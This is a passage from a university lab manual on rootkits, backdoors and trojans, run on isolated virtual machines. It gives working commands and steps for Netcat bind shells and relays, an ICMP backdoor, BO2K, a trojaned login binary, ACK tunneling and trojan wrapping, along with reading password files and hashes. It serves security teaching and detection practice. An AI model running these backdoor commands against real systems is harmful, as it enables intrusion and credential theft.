Now go back to the process tab and note that IceSword also listed the directory from where the
file hxdef100.exe was run. Note the location of the folder and right-click on hxdef100 and click
“Terminate Process” to shut HackerDefender down. Now that you have the location of the file,
you can delete the source folder of the rootkit anytime and terminate the services anytime.
25
Note that IceSword also has some functions on port checking. Click on the tab button and it will
list all the TCP ports on the computer which is currently listening.
As an added precaution, IceSword provides Thread and Process “rules” which allows the user to
forbid certain processes and threads from being executed. This is accomplished either by
entering the filename of the process, or by entering a Process ID range.
To do this, click on FileNew Process Rule (or New Thread Rule). Click “Add rule”. Now fill
in the information for the program you want suppressed (for example, in our case, click
“FileName” and enter “hxdef100.exe” and then click “Forbid”).
Section 8: sucKIT- A different approach to hijacking
system calls
In Section 2, we examined the use of Knark, a Linux Kernel Module (LKM) rootkit. This tool
alters the System Call Table (SCT) in order to redirect a system call (see previous section for
detailed explanation). However, this way of entry has its limitations. For example, the system
administrator could disable LKM support in the kernel. Unfortunately for us and fortunately for a
hacker, another way to corrupt system calls exist. In this section, you will investigate a tool
called sucKIT. This tool redirects a system call by changing the pointer to the SCT. Instead of
referencing the SCT, the system call goes straight to a different corrupted SCT. If the system
administrator checks the SCT, he or she will find no changes. For this section, you will need to
make a Red Hat 8.0 virtual machine. Go to Lab5/VMWare to get a copy of the RH 8.0. The
rootkit sucKIT has already been placed on the virtual machine under /root/Lab5. A README
file in that directory will explain what you need to do for this section.
Q8.1: The sucKIT rootkit is not a LKM. It attacks the kernel memory through user-space
processes by attacking what file? You may have to search the internet for this information.
In this section, we will install sucKIT rootkit and see if we can find it with chkrootkit.
Warning: Do NOT use your physical RedHat WS 4.0 machine. Use the newly created
VMWare virtual machine instead.
Follow the instructions provided in the README located on the RH 8.0 virtual machine under
/root/Lab5.
Q8.2: Does the rootkit detection software find any evidence of sucKIT? If so, what does the
warning look like?
Run the following command in the chkroot directory: ./chkproc -v
Q8.3: Record the output you see on the screen. What information alerts you to a possible
infection?
26
To uninstall the rootkit, type:
# ./sk u
Backdoors and Trojans part of the lab:
Tasks to be performed:
Create new XP virtual machine
Use Netcat to transfer files and create access to machines.
Edit iptables to open ports through the firewall in Linux host
Create a relay using Netcat.
Use VNC software on windows and Linux.
Use Back Orifice software to control a windows machine
Setup MS Outlook Express in Windows XP
Lab Scenario:
This part of the lab will require you to have a second virtual machine running on your host
system. If you haven’t already made a copy, in one of the previous exercises, follow the steps
below to make one.
Creating a second Windows XP virtual machine
In VMware the virtual machine files are stored in directories in your root directory by default.
You just need to copy all the files from a machine's directory to a new one and then make a new
machine using these files.
In your Red Hat WS 4.0 physical machine's root/vmware directory make a new directory called
winXPProCopy
#cd /root/vmware
#mkdir winXPProCopy
Copy all the files from the winXPPro directory into this new directory.
#cp winXPPro/*.* winXPProCopy/
This will take some time as the image file is quite large.
Start VMware and click File->New->New virtual machine
Choose custom and click Next.
Select the operating system as Windows XP Professional.
Change the name of the new machine to winXPProCopy and change the directory to
/root/vmware/winXPProCopy. Click Next. Click Yes at the warning.
Adjust the virtual memory so that you can run all three machines at the same time. Bring it down
to 128mb for now.
Select Bridged networking and click Next.
Choose “Use an existing virtual disk” and click Next.
Click Browse and choose the file called winXPPro.vmdk in the new directory.
27
Click Finish.
This will create a new virtual machine on your host system.
You will need to change the ip address of the new WinXP virtual machine. Change it to the old
WinXP machine address + 1. For example, if it was w.x.y.z of the original XP machine, change
it to w.x.y.z+1. To do this:
Start the new virtual machine. If it gives you a warning about low memory just click ok as you
won't be using this machine for too long.
Click Start -> Control Panel
Network and Internet Connections
Network Connections
Right Click on local area connections
Properties
Select TCP/IP
Properties
Make your changes and click OK
Use VMware to stop the machine.
Note: This is only a temporary setup and you won't probably use the second XP machine after
this lab. We’ll call the original machine ‘XP Machine 1’ and the copy ‘XP Machine 2’.
Troubleshooting:
1. Disable ALL firewalls --> you have installed ISS Proventia Desktop in the
previous lab, and this should be running by default. Right click on the icon on
the taskbar and "exit" the process. Then, go to task manager and kill the
processes titled "blackd" and "blackice" if they are still running. YOU MUST
CHECK TASK MANAGER TO MAKE SURE THAT THE PROCESS IS NOT RUNNING.
Additionally, make sure that Window's firewall is also turned off.
2. If you are STILL having trouble, then make sure the copy machine's MAC
address is different from the original machine's address. If they are the same,
then change the copy machine's MAC address (you can increase the address by 1).
Section 9. Installing and Using Netcat
Note: Netcat for Linux may be obtained from the web at
http://www.atstake.com/research/tools/network_utilities/
Installing Netcat on the Windows machine
Start your main Windows machine (XP 1) and copy the
\\57.35.10.10\secure_class\Tools\Windows directory to your computer. Unzip the nc11nt.zip
program and it should automatically create a directory called nc11nt. Now, whenever you want
28
to run Netcat, you will have to go into this folder and run it from there (unless you add this
directory to the path).
Now install Netcat on the other XP machine too (XP2).
Installing Netcat on the Linux WS4 machine
You should already have a file called netcat.tar.gz in your /home/tools directory. If you don’t,
get it from /mnt/nas4112/Tools/Linux/tools, after mounting the NAS server. Go into your
/home/tools directory and execute the following commands:
#tar xvfz netcat.tar.gz
#cd netcat
#make linux
#cp nc /usr/local/sbin
The last command will allow you to run Netcat without having to specify this directory.
Using Netcat
The executable program on both operating systems is called nc and the options are the same on
both systems. To run Netcat in client mode so that it sends data across a network, use
#nc [IP Address to send to] [Port to send to]
(e.g. nc a.b.c.d 1234 - This sends data to port 1234 on machine a.b.c.d)
All input is through standard in, so whatever you type on the keyboard will be sent to the other
machine. Alternatively, if you would like to read data from a file and pipe that through to the
other machine, use
#nc [IP address to send to] [Port to send to] < [File to read from]
(e.g. nc a.b.c.d 1224 < testfile.txt - This sends the data in testfile.txt)
To stop Netcat, one simply has to press Ctrl+C.
There are several different options that Netcat can be run with, depending on what it is being
used for. The most common options are:
-l
specifies that Netcat is running in listening mode
-p
specified which port Netcat should listen on
-v
verbose mode so that all results are displayed
-w
maximum amount of time (in clock ticks) to wait for a response
-z
specifies that Netcat should send very minimal data, usually a synchronized
packet to see if a response is obtained
-e
Allows Netcat to execute a program to receive or generate network traffic
Look at the README files on both systems under the Netcat folder to find out more information
about running Netcat. Many uses for netcat are found in the readme.
To run Netcat in listen mode, use the -l and -p options. The command syntax would be:
#nc -l -p [port to listen to]
If you want to store the input that is received, you can pipe all the received data to a file, using
the following command:
#nc -l -p [port to listen to] > [file to write to] (for windows no spaces around >)
(e.g. nc -l -p 1224 > testfile.txt - whatever is received on port 1224 is written to
testfile.txt).
29
NOTE: If you pipe everything to a file, whatever was previously in that file will be overwritten.
Netcat can also be used to scan ports using the following command (Netcat is being used in
client mode for this):
#echo QUIT | nc -v -w [time to wait] -z [IP address to scan] [port range to scan]
(e.g. echo QUIT | nc -v -w 3 -z a.b.c.d 1-200 - This will scan ports 1 to 200 on the
system with IP address a.b.c.d)
Netcat can also be used to create backdoors on systems. Attackers can push a shell between
systems over any TCP or UDP port. The shell will have the privileges of the user that executes
Netcat in listener mode on the machine being exploited. For example, if you are on the Linux
machine and would like to execute commands on the Windows machine, set up the Netcat
listener on the Windows machine with the following command (from the nc11nt directory):
#nc -l –p [port to listen to] -e cmd.exe
(e.g. nc -l -p 7777 -e cmd.exe
This will pipe all input received at port 7777 to cmd.exe, which will then execute the
commands. )
On the client side, simply type
#nc [listening machine] [port to connect to]
(e.g. nc a.b.c.d 7777)
and start typing in your commands.
A fourth popular use of Netcat is to create relays whereby an attacker uses several intermediate
systems while actually attacking a target system. Thus, detection of where the attack originated
from is very painful and sometimes impossible process.
Exercise 9.1: Netcat File Transfer
Use Netcat to transfer the password file from your Linux to your Windows machine. Store the
data you receive in passwd.txt. Now try transferring a binary file (e.g. .rtf file) from the
Windows system to the Linux system and then transfer it back to the Windows system, saving it
under a different filename.
Q9.1.1. Is the binary filing the same, or has it been altered? Compare the file sizes of the file on
the two systems as it is transferred back and forth.
Q9.1.2. What can you say about Netcat’s ability to transfer binary files?
Exercise 9.2: Netcat Backdoors
This exercise will show you how to use backdoors in Netcat. Create a Netcat backdoor listener
on your Windows machine. Use the options to pipe the output to cmd.exe shell. Select any port
number to listen to and connect to this backdoor by running Netcat in client mode on your Linux
30
machine. Now type in some simple DOS commands like dir and mkdir. Then try running some
complex commands and examine the extent of information that you can gain from the system.
Q9.1.3. What do you conclude from this?
Exercise 9.3: Netcat Relays
Note: This exercise requires the use of both the windows machines.
In this exercise you will create a relay on your Linux machine using the Netcat listener and
client. This relay will forward data from one windows machine to the other. The Netcat client
will be running on the first XP machine while the listener will be running on the second XP
machine. Once established, the relay should allow you to access the second XP machine from the
original XP machine.
First create a backdoor shell on the new XP machine, using the Netcat listener. You can create a
backdoor shell by (cd into the folder where netcat is located)
# nc -l -p <listening port> -e cmd.exe
(e.g. nc -l -p 56789 -e cmd.exe)
Creating a relay
A way to create a relay is to tie the input and output of a Netcat listener and client together using
a special file type called a FIFO. As its name implies, a FIFO operates in First-In, First-Out
mode. You can create a FIFO and use it to link a Netcat listener to client by typing the following
in Linux:
# mknod backpipe p
# nc -l -p [portA] 0<backpipe | nc [target computer] [portB] 1>backpipe
portA – Port on which the relay is listening
portB – Port on the target machine on which the backdoor shell is listening
target computer – The target XP machine (XP Machine 2). Make sure its ip is different
from your other XP machine.
Note: Do not put spaces around the '<' or '>' signs. They direct the standard input and output
streams in Linux, into backpipe and cannot have spaces next to them.
e.g. nc -l -p 12345 0 <backpipe | nc e.f.g.h 56789 1 >backpipe
The line above creates a relay listening on TCP port 12345 and forwards the data to TCP port
56789 of the machine on which the backdoor shell was created.
For this relay to work, you have to allow packets into the listening port on your linux machine. If
the default Linux firewall iptables is running, it won’t allow these packets. So disable it by
typing
# /etc/init.d/iptables stop
31
After creating the relay and listener, connect to the relay by typing
#nc [relay machine] [portA]
on the original XP machine.
Now try some other commands on the target machine and see what all you can do.
Run the command called ipconfig in the shell. This will show you the ip address of the target
machine. Open up another cmd.exe window on your client machine and do ipconfig again to see
the ip address of the machine you’re connecting from. Position these windows so that both the ip
addresses are visible.
Take a screenshot of these windows and submit it with your report. You can use the “Print
Screen” key to capture the screen and then paste it into the paint application.
(Screenshot P2#1)
Hint: In this exercise, you used Netcat the following four times:
1. As a listener in the relay on your Linux machine
2. As a client in the relay on your Linux machine
3. As a listener, running the shell on the second XP machine
4. As a client on the first XP machine, where commands can be typed to be sent to the
relay.
Q9.1.4. Draw a diagram explaining how the relay works and the directions of data flow.
Exercise 9.4: Other uses of Netcat
Q9.1.5. Aside from the four uses listed in this lab, Netcat can be used in many different ways.
Suggest another way that Netcat could be used (in detail).
Q9.1.6. What defenses could you use against an attack like a netcat backdoor?
Section 10. Icmp-backdoor
32
In this exercise, we are going use another backdoor that exploits the ICMP protocol to get a
remote access shell. You should have two RedHat 7.2 virtual machines running to do this
exercise.
If you haven’t already, go ahead and connect to the NAS server and copy the file, icmpbackdoor.tar.gz (from mnt/nas4112/Tools/Linux) , to both of your virtual machines, and extract
the contents with the following command:
# tar zxvf icmp-backdoor.tar.gz
Go into the icmp-backdoor directory. In one virtual machine, we are going to compile the server
part of this program (which shall be referred to as the “Server machine”) with the command:
#make server
In the other virtual machine, we are going to compile the client part of this program (which shall
be referred to as the “Client machine”) with the command:
#make client
You will need to follow the same copy and extract procedures you did with the other Linux
machine.
Next, we are going to start the server program on the Server machine (think of this as installing
the backdoor on an infiltrated machine). To do this, run this command:
#./ibd-server 0
The “0” refers to the ICMP code for “Echo reply” packets. We are setting this server to reply
back with its output in response to “Echo request” packets. This is important in order to make the
connection we want. Refer to Figure 1 to ensure you have run the proper commands up to this
point.
33
Figure 1. Installing and running the icmp-backdoor server.
Next, run ethereal on your RedHat 4WS machine. When we run commands off of this icmpbackdoor connection, we are going to see how data is transferred through the ICMP protocol.
In order to run the client and connect to the icmp-backdoor, run the following command on the
Client machine (where w.x.y.z is the IP address of the Server machine):
#./ibd-client w.x.y.z 8
The “8” refers to the ICMP code for “Echo request” packets. We are setting this client to send
echo request as input to the icmp-backdoor server. If we did this correctly, we will have a
connection established by exploiting the echo-request <-> echo-reply communication of the
ICMP protocol. Refer to Figure 2 to ensure you have run the proper commands up to this point.
34
Figure 2. Installing and running the icmp-backdoor client.
You should be connected by now… so let’s do stuff. For example, we ran the ls command, and it
shows the directory listing of the Server machine, as shown in Figure 3.
35
Figure 3. Running ls on the Server machine through the icmp-backdoor client.
While we’re at it, go ahead and run the whoami command just to see what privileges you have.
Okay, now let’s do something slightly more malicious. While we cannot use programs like vi
over this type of connection, we can still run simple commands to retrieve sensitive information.
Let’s see the password file! To do this, run the command “cat /etc/passwd” which should print
out on the client terminal the contents of the password file as shown in Figure 4.
36
Figure 4. Running cat /etc/passwd to print out the contents of the Server machine’s
password file.
So if we were a hacker, we could just copy the output from this screen to a text file and then run
a password cracker to decipher passwords. Go ahead and have fun running more commands to
see what else can be done over this icmp-backdoor. Once you’ve had your fun, close the
connection by running the exit command on the Client machine.
Now go back and stop your ethereal capture on your RedHat 4WS machine. You should able to
scroll down and see the ICMP packet exchanges that were made due to the commands you ran.
Highlight one of these packets by clicking on one of them, and move the bottom scollbar to see
the contents of the ICMP packet as shown in Figure 5.
37
Figure 5. Ethereal output showing an ICMP packet due to the backdoor connection.
You should notice that the content of what you saw in your backdoor client is visible in the
actual ICMP packets. Go ahead and take a screenshot of the ethereal output and turn it in with
your lab. Just for your information, there are some developer groups that are trying to enhance
this type of backdoor with encrypting the ICMP contents and hiding the backdoor server’s
process id. That is all for this exercise.
Take a screenshot of the ethereal output (screenshot P2#2)
Q10.1.1. What defenses could you use against an attack like icmp backdoor?
Section 11. Installing and Using Virtual Network
Connection (VNC)
You can obtain VNC from the web at http://www.realvnc.com/
VNC is an application level Trojan backdoor. It allows remote access to a system, and can be
38
used for legitimate remote system administration purposes. However, it can also be exploited by
hackers since VNC allows a person to change all configurations that they have permission to
change. Typically, the VNC server is installed on the system that is to be remotely administered
and the client is installed on the administrator’s system. Therefore, if the server was installed by
a user with administrator privileges and is running under that account, an attacker that uses the
VNC server would have full access to all functions of the system.
Installing and Using VNC on both Windows Machines
Copy the file vnc_x86_win32 folder from the NAS server’s tools/Windows folder to the tools
folder on your hard drive.
1Change into the vnc_x86_win32/winvnc directory and double click the Setup program
2Click OK on warning about installation of previous version.
3Click Next
4Click Yes on License Screen
5Click Next for destination location default
6Click Next for Program, Folder default
7Click Finish
To run the Windows VNC server,
1. From the Start menu, select All Programs ->VNC -> Run WinVNC (App Mode)
2. Enter a password to be used for VNC connections. Remember this password as it will be
required for access to the VNC server by a client. This password prevents other attackers
from using the VNC server
3. Click OK. The server is now waiting on the Windows machine.
Switch to the XP copy. To run the Windows VNC client, simply click on “Run VNCviewer”.
You will be prompted for the IP address of the system on which the server is running and the
password to access that server. Once you have entered both, you should see a GUI come up with
a terminal window.
Installing and Running VNC on the Linux Machine
Switch to the /home/tools directory, where you extracted all the linux tools, and run the
following command:
#tar xvfz vnc-3.3.3r2_x86_linux_2.0.tgz
Go into the VNC directory that is created. You will see that there are five different executable
programs. Go ahead and read the README file as this will provide you with explanations about
what each of the executables do.
For example, to run the VNC client, simply type
# ./vncviewer
When prompted for the machine of which the server is running, type in the Windows machine’s
IP address. At the next prompt, type in the password. And then you should see a GUI of the
Windows machine appear on the Linux system.
To run the VNC server, you will have to copy the VNC executables into the /usr/local/bin
directory. This puts them in the Linux path. To do this type
39
#cp vnc* /usr/local/bin
#cp Xvnc /usr/local/bin
Then simply type
#vncserver
Establish a password for the connection and remember this to connect to the Linux machine.
Make sure that after using VNC on the Linux system, you end each VNC process after
completion, otherwise the port that it listens on will be incremented when the next VNC process
is created.
NOTE: To make sure that you can connect to the VNC server running on the Linux system, you
have to modify the iptables to allow connections to TCP port 5901 since this is the port that the
VNC server runs on by default. Access to this port is normally blocked off (to check this out, run
nmap on the Linux system) by the built in firewall in Redhat. Instructions on how to edit the
iptables list are given below. Note that the change you make to the iptables is only temporary and
will be lost the next time you reboot the system.
Modifying IP tables:
To allow packets coming in destined for the VNC server, type:
# iptables --insert INPUT --protocol tcp --destination-port 5901 -j ACCEPT
If you still cannot connect from Windows then you might need to enter the exact port you just
opened in the firewall.
To do this, when you enter the host in VNC viewer, enter host:port
e.g. a.b.c.d:5901
On Windows, you will see another virtual desktop, not the normal user’s desktop and mouse
movements. Still, even though you cannot see what the normal user is doing, you have remote
control of the Linux system from Windows.
Exercise 11.1: Windows VNC Server
Set up a VNC server on your windows machine and connect to it from your Linux machine using
the Linux VNC viewer. Try running a couple of different programs, including the password
cracking software. Since you are logged on as an administrator, you should be able to do
anything.
Q11.1.1. How would you detect that VNC was installed and/or running on your Windows
machine?
Exercise 3.2: Linux VNC Server
Start a VNC server on your Linux machine and try to control it from your Windows machine
using Windows VNC viewer. Run several different programs as well as view the password and
shadow files.
40
Q11.1.2. How would you detect that VNC was installed on your Linux machine?
Take a screenshot of the VNC client screen (Linux) and another of the VNC viewer
(Windows) accessing the VNC server. Turn these in with your report. (Screenshots P2#3,
P2#4)
An easy way to take a screenshot in is to press the Print Screen key. A window will come up,
asking you for the name of the file. The format PNG is a standard picture format that can be
printed from your linux lab printer or a Windows computer.
Q11.1.3 What defenses could you use against an attack like VNC?
Go ahead and close all your VNC client windows and stop the VNC server.
Section 12. BO2K BackDoor
Back-Orifice is one of the most well known Trojan/backdoor applications available. It is
important that you do not transfer this file off of these computers and to any ECE machines as
most modern virus scanners will mark this file as malicious.
The Bbo2k_1_0_full file can be copied from the NAS Server under the folder of
Tools\Windows. Copy the file to the desktop of one of your Windows XP virtual machines.
Double click on the program and then run through the installation process.
After installing, open the program “BO2k Configuration Tool”. Click next through the initial
startup screen. The next screen allows you to rename the server, you can just keep it named
“bo2k.exe” for this lab. The next screen determine whether to use TCP or UDP, just leave it as
TCP. Select a port number to run on the next screen (select something over 1024 e.g. 30000).
Click next through the next screen. Enter a passphrase on the next screen since we chose “XOR”
just choose something like “ece4112”. Now finish the configuration wizard.
Now the real configuration program opens. Click “Open server” and select the file name
“bo2k.exe”. Now click “Save Server”. And exit the program.
Now this bo2k.exe file needs to be transferred to the victim machine using the shared folders
available through VMWare tools. To do this:
1. Right-click on the WinXP virtual machine tab in VMWare and click Settings. Now click
on the Options tab. Click on Shared Folders and make sure that it is enabled. If it isn’t,
check the Enable Shared Folders checkbox. Now click Add… near the bottom of the
window and select the folder which you want to share (suggestion: you might want to
41
2.
3.
4.
5.
6.
create and share a directory called root/vmware/shared). Enter a name for the shared
resources (“Shared Folder”).
Repeat the above for the XPPro Copy machine.
Now right-click My Computer in the XPPro machine and click Tools->Map Network
Drive.
Use the default drive letter for “Drive:” and click Browse to locate the shared folder.
Expand VMWare Shared Folders and select the folder which you shared in step 1.
Repeat step 4 for the XP Copy machine.
Now, anything copied to the network drive will be available to both machines.
On the victims machine double click the bo2k.exe file you transferred. You have now installed
the backdoor on the victim machine. Go back to the Windows copy virtual machine.
On the non-server machine open the BO2k GUI client program. Click file->new server and fill
in the IP address of your target machine and connect to it. Play around with some of the tools
now available to you. Have BO2k list the password hashes for the victim machine and take a
screen shot of this.
Screenshot P2#5: Submit a screenshot of BO2k successfully being used to gain access to the
password hashes of the victim machine.
Another such tool to control a remote XP machine is “Let Me Rule” (http://www.pinoyhaker.net/modules.php?name=Downloads&d_op-viewdownload&cid=1#cat). This program
packages a lot of the individual tools that we have played with, including a video stream, key
logger and an ftp server.
Section 13: Using a Simple Backdoor Program in C
Suppose an attacker wants to install a backdoor on a compromised linux machine. This C
program (utrojan.c – see source code below) allows the attacker to hijack login, imapd and/or
qpopd. For this exercise, we’ll overwrite login and access the victim machine via telnet.
The program can be obtained from:
http://packetstormsecurity.org/UNIX/penetration/rootkits/utrojan.c
This program overwrites the /bin/login command. While telneting to a victim machine, it
provides a “1 second time frame” in which you need to enter the password “door”. If you enter
this correctly, it executes /bin/sh, thereby giving you root access (from any user account installed
on the compromised machine). If you don’t enter in “door” correctly, within the time frame, the
program defaults to the original login script, saved as /bin/.login.
Make sure that telnet is running on the RH7.2 machine.
42
On the RH7.2 (victim machine):
1. Copy utrojan.c from the Lab5 folder on the NAS to /bin directory
2. Go to /bin directory and back up the login file
# mv login .login
3. Compile utrojan.c
# gcc –o login utrojan.c
On a WinXP machine:
1.Open the command line
2.Telnet into the RH72 machine: (you may need to start telnet by using ntsysv on the RH7.2
machine and rebooting)
C:\> telnet <ip address>
3.Within 1 second, type “door” and press enter
4.You should see the # prompt
5.Type whoami (you should be root)
Take a screenshot of this remote access. (P2#6)
On your RH7.2 machine move the backup .login file back to login to stop this backdoor.
Section 14: Backdoor Detection
In the previous sections, we looked at tools that install backdoors on systems. We asked you how
you would detect these backdoors. One probable answer is to look for suspicious ports that are
listening for connections. How can we do this? There are two windows tools, TCPView
(http://www.softpedia.com/public/cat/10/7/10-7-12.shtml) and Active Ports, that do exactly that.
Download the executable installer for TCPView from the NAS to one of your Windows XP
machines.
Extract the zip file. Click on Tcpview.exe. Take note of the processes running, the protocols they
use, the local and remote addresses, and the state.
Now run the Netcat listener by opening a command prompt and typing:
nc –l –p 7777 –e cmd.exe
Look back to TCPView. You should see a new process “nc.exe:xxxx”. The local address should
be xp:7777 and the state should be listening.
Take a screenshot (P2#7)
Now right click on the nc.exe process in TCPView and select “Process properties…” You should
see a pop up box with the path on the nc.exe program and also the command line arguments used
to execute the program.
43
Take a screenshot (P2#8)
To end a malicious process, right click on it and select “End Process….” You have just closed a
backdoor.
Section 15: Walkthrough Firewalls with Ack
Tunneling
In an effort to maintain access to exploited boxes, hackers install backdoors. You have already
seen how a shell can be tunneled over ICMP messages. However, virtually all sysadmins have
blocked ICMP at their firewalls. Assuming you have access to the firewall rule set, you could
install a regular TCP server daemon and open a hole in the firewall. But such a hole can easily be
detected when a sysadmin scans his network. Unfortunately, attackers have an alternative: ACK
tunneling. ACK tunneling does exactly what you would expect, it tunnels network traffic over
TCP ACK packets. The key advantages of this is that stateless firewalls allow any packet with
the ACK flag set as it assumes they are packets from a pre-existing connection. This allows us to
send the ACK packets right through the firewall and make a connection with the backdoor. Note
that this will not work on stateful firewalls as stateful firewalls keep the state of the active
connections. Unfortunately, most firewalls are stateless. Stateless firewalls include the windows
firewall, most router/switch firewall boxes, and many high-traffic firewalls as statefulness is cpuintensive. Another advantage of ACK tunneling is that you can ACK scan with nmap through a
firewall and find all of the infected machines behind the firewall. So, for example, if you can get
the server installed on a bunch of targets in a company via an e-mail worm, then a simple nmap
ACK scan of the company from outside the firewall will show all the infected machines. This
has the advantage of not having a callback in the server which could reveal the attackers identity.
Lastly, most firewall logging systems only log SYNs, as a result our ACK traffic will not be
logged.
Ame Vidstorm has released a proof-of-concept ACK tunneling cmd.exe backdoor called
ackcmd. It consists of two parts, the server which listens on the target box, and the client which
the attacker uses. The client sends the port 80 to the server listening on 1054. These port
numbers look surprisingly like web traffic.
For this demo, you will need two XP machines.
Get the file ackcmd.zip from the NAS to both WinXP boxes.
On the victim machine:
Unzip ackcmd.zip and run AckCmdS.exe from the command line
# AckCmdS.exe
On the attacker’s machine:
Unzip ackcmd.zip.
44
Open ethereal on your RH WS4 machine and capture this process.
Back on the attacking machine: “AckCmdC.exe <victim IP>” from the command line
#AckCmdC.exe <victim IP>
#ipconfig
#quit
Take a screenshot (P2#9) from the attacking machine.
Examine the packets in ethereal.
You can kill ACkCmdS.exe on the victim’s box by <ctl>-<alt>-<del>, select processes, select
AckCmdS.exe and click End Process.
Section 16: Port Knocking
As you have seen, closing ports at the firewall is one of the best ways to secure a system.
Unfortunately, even if you close all unused ports, the services you are offering such as SSH,
HTTP, IMAP, etc. must have their ports open to allow connections. However, port knocking
allows for a server to close *ALL* ports (including those of services offered) while still allowing
connections to services. The basic principle is simple: when a user wants to connect to a closed
service, he sends packets to multiple closed ports in a secret order. If the port knock sequence is
correct, the server acts accordingly, such as by opening a port.
Despite the simplicity of the basic concept, there are several details which deserve discussion.
The most important detail is encryption; what happens if someone sniffs your knock sequence?
Under our simple description, they could merely replay the sequence and access the service.
Fortunately strong encryption can be integrated into the knock sequence to create a sequence that
is just as secure as SSL or SSH. The client and server can share a key, the key is then combined
with the source IP, port and other data. This data is encrypted and converted into a sequence of
protocol/port numbers to knock at. The server can decode and act on the request such as by
opening a specified port to/from the source IP explicitly. Even if an attacker replayed the
sequence, data such as the source IP and timestamp would fail to match, thus resulting in an
invalid knock sequence. It is also worth noting that there is no way to detect a host accepting
port knocks. The server drops all packets on the floor and doesn't even respond to a successful
knock. The only sign of success is the open port. Obviously port knocking cannot be used on a
public services. It would make no sense to require a port knock from everyone to access your
public web server. But port knocking does prove very useful for restricted-access hosts.
One related common misconception is that a box which drops packets appears to the world as
if it were off/disconnected. Unfortunately, this is not the case. The difference is how the nexthop router responds to the packet. For a box that is connected but dropping all packets, the
attacker will receive *NO* response. However attempting to connect to a host that is off/nonexistent will result in an ICMP Destination Unreachable from the last router before the target.
45
This is because a connected but dropping host still responds to the routers ARP packets, thus the
host is in the router's ARP table. Whereas a host that is off/non-existent will not have an entry in
the router's ARP table and will not respond to ARP requests, thus resulting in the ICMP packet.
Port knocking actually originated from a virus where the attacker included a simple port
knocking implementation to allow for backdoor access to infected machines. When it was first
announced as a mainstream security measure, port knocking was heavily criticized as securitythrough-obscurity. However, with the recent addition of encrypted knock sequences, port
knocking is becoming an acceptable additional layer of security. Unfortunately, there are few
implementations available and even fewer production quality releases.
Today we will use an port knocking implementation called fwknop (Firewall Knock Operator)
that was released in 2004 at DEFCON 12. According the fwknop website:
http://www.cipherdyne.org/fwknop/:
"fwknop implements network access controls (via iptables) based on a flexible port knocking
mini-language, but with a twist; it combines port knocking and passive operating system
fingerprinting to make it possible to do things like only allow, say, Linux-2.4/2.6 systems to
connect to your SSH daemon. fwknop supports shared, multi-protocol port knock sequences
along with both relative and absolute timeouts, and coded port knock sequences encrypted with
the Rijndael block cipher."
On your RH WS4 machine connect to the NAS and get the file “fwknop-0.4.2.tar.gz” from the
Lab5 directory. Move this file to your /root directory.
# cd ~
# tar xvfz fwknop-0.4.2.tar.gz
# cd fwknop-0.4.2
# ./install.pl
[+] Would you like access alerts sent to a different address ([y]/n)? n
[+] Enable fwknop at boot time ([y]/n)? y
Turn the Linux firewall:
# setup
Now go to firewall configuration and make sure firewall is enabled
Do the following steps to make sure the packets are logged:
# service syslog start
# iptables –F
# iptables –A INPUT –j LOG --log-tcp-options --log-ip-options --log-prefix “DROP:” –p tcp –m
state --state NEW
# iptables –A INPUT –j DROP –p tcp –m state --state NEW
# service iptables start
Lets modify fwknop to allow us to connect to any port using an encrypted knock:
Modify the following lines in /etc/fwknop/access.conf:
46
KEY: <choose a key at least 8 chars long>;
This will open a firewall port for the source IP address of anyone who knows the key. Note that
the desired firewall port to open is specified by the client.
There are two daemons required for fwknop to function correctly: fwknop and knopmd. knopmd
reads the iptables logfile and extracts port knocks into a named pipe. The named pipe is then
read by fwknop which interprets the port-knocks and adds/removes iptable rules accordingly. It
is critical that both daemons are always running, as a result there is a third daemon, knopwatchd
whose sole purpose is to ensure both knopmd and fwknop are running and to restart them if they
stop.
To start fwknop, we will run the monitoring daemon:
# knopwatchd
The server is now listening for port-knocks, lets try to connect.
For simplicity we will attempt to connect from the localhost, this is essentially identical to a
remote connection since all hosts, including loopback, should be blocked before we port-knock.
Attempt to SSH into localhost, which should not work now.
# ssh localhost
Now initiate a port knock:
# fwknop -e -k localhost -s -p 22 -P tcp
-e: use encryption
-k: port-knock target
-s: allow source IP
-p: port to open
-P: protocol of port to open
After you enter your password, you should see the knock sequence. Notice that there is no sign
of success. All you can do now is attempt to SSH into localhost, which should work now.
# ssh localhost
You can also check the firewall ruleset to see if your special rule has been added:
# service iptables status
There are many interesting things you can do with fwknop. Explore the manpages and the
config files in /etc/fwknop to grasp the available features. One intriguing feature of fwknop is its
bundling of the passive OS fingerprinting tool p0f. This allows you to restrict port-knocks to
specific host OSes. The available OS fingerprints are in /etc/fwknop/pf.os.
47
16.1) Create an access rule to allow an OpenBSD 3.3-3.5 box on the non-routable 10.0.0.0/8
subnet to access port 22 using an encrypted knock sequence.
16.2) It was mentioned that port knocking began with a virus. Why would a virus writer
want to include port knocking in the backdoor?
16.3) No mention was made as to how port knocking servers finally close the open firewall
port. List 2 ways which could be employed to close the port.
Section 17: Tricking Users into Opening Backdoors
One way in opening backdoors is to have the very users of the machines open them for you. One
great way to do this is by sending the user a file that looks and feels safe. Programs known as
“wrappers” combine a series of files into one executable file. Once the wrapper file is opened, all
the wrapped files start to execute. The execution can be in series or in parallel, depending upon
the wrapper. We will use one of the best known wrapper utilities: eLiTeWrap v1.04
http://homepage.ntlworld.com/chawmp/elitewrap/
On a windows XP machine, go into the Lab5 directory on the NAS. Make sure that the
“elitewrap” folder is there. Copy this to your desktop and unzip it.
Note that there is nothing to install. Open up a command prompt and change directory to the
“elitewrap” folder. Elitewrap is command line driven. View the readme.txt file now and make
sure you have a clear understanding of the usage of elitewrap.
We will now create a totally harmless executable. We will create a wrapper that will execute
calc.exe and notepad.exe. We will make it so that all the user sees is the calculator when they
open the wrapper executable. We also want notepad.exe to open after the user has closed the
calculator, and we also want it to be invisible.
Before proceeding, be sure to close all instances of “notepad” and “calc”. Press Ctrl-Alt-Del and
verify that neither “notepad.exe” nor “calc.exe” appears under the processes tab.
In the command prompt, follow the steps:
1.Run the executable elitewrap.exe from the appropriate directory.
2.Enter name of output file as “NewCalculator.exe”
3.Perform CRC-32 checking? No
4.Enter package file #1: C:\Windows\system32\calc.exe
48
5.Enter operation: 4
6.Enter command line: <blank>
7.Enter package file #2: C:\Windows\system32\notepad.exe
8.Enter operation: 9
9.Enter command line: <blank>
10.Enter package file #3: <blank>
In the Windows GUI, go into the “elitewrap” folder and you should now see a new file named
NewCalculator.exe. Double click on NewCalculator.exe and the calculator program should open
up. Now check the processes tab. Notice how calc.exe is a running process (and still no instance
of notepad.exe).
Close the calculator program.
